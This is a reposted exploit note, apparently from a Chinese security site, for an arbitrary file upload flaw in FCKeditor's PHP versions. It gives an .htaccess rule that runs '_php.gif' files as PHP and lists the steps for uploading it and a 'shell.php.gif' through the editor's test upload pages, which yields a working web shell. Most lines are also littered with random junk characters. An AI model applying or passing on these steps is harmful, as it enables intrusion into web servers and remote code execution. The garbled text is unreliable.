FCKeditor所有php版本Upload上传漏洞
+ @+ o8 q, c) ], h; `作者:佚名 来源:本站整理 发布时间:2011-10-25 7:39:070 v) l0 s! [$ u$ j* @( \. S4 \. X
减小字体 增大字体
3 z4 \( A3 f. P( i[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability1 S1 i. {- L$ \
[+] Date: 2011
& h. P9 E- U O3 |7 O( A/ O- K$ d1 K[+] Author : sinesafe.cn- v: ^% ~$ e6 B1 j& {3 Y
[+] Website : WwW.sinesafe.cn
$ A+ }6 ~' Q# \" e. X& q* P———————————————————; n; l$ o- \* p8 E1 Q c7 t7 s
1.create a htaccess file:$ J! Z# r* K0 [: w4 N# l
code:' `! [. d9 v; _+ L; T! P6 S6 d
<FilesMatch “_php.gif”> F; V. h, X: u; Q8 x4 V# Q
SetHandler application/x-httpd-php4 O8 U# T% h2 I7 }8 p
</FilesMatch>
+ W! T7 `* m c! @! m
y/ g3 L3 n* f# G5 l2.Now upload this htaccess with FCKeditor.$ L) l& b8 j* U6 ~/ w `4 D
p8 L3 B9 y1 s) R2 Q/ l
http://www.sinesafe.cn/FCKeditor ... er/upload/test.html
, Z$ h/ a0 o! T4 d6 E
( c! `/ _& d" a- Bhttp://www.sinesafe.cn/FCKeditor ... onnectors/test.html
; q+ \0 l& l5 _3 {
& E2 _" _ ]* D' ?———————————————————————————————-
/ M) P4 N- p, |5 \) }3.Now upload shell.php.gif with FCKeditor.1 c V" s5 B6 `: r. `
4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically.
* Q* g& r$ _: Z& e* m( J: x0 d5.http://www.sinesafe.cn/anything/shell_php.gif
& V0 {8 Z, J4 t6.Now shell is available from server. |
+ u( d' B2 G' t- x' a, d) x) A1 l/ u1 ]$ _8 r. J
* e" H2 o9 @$ o9 M |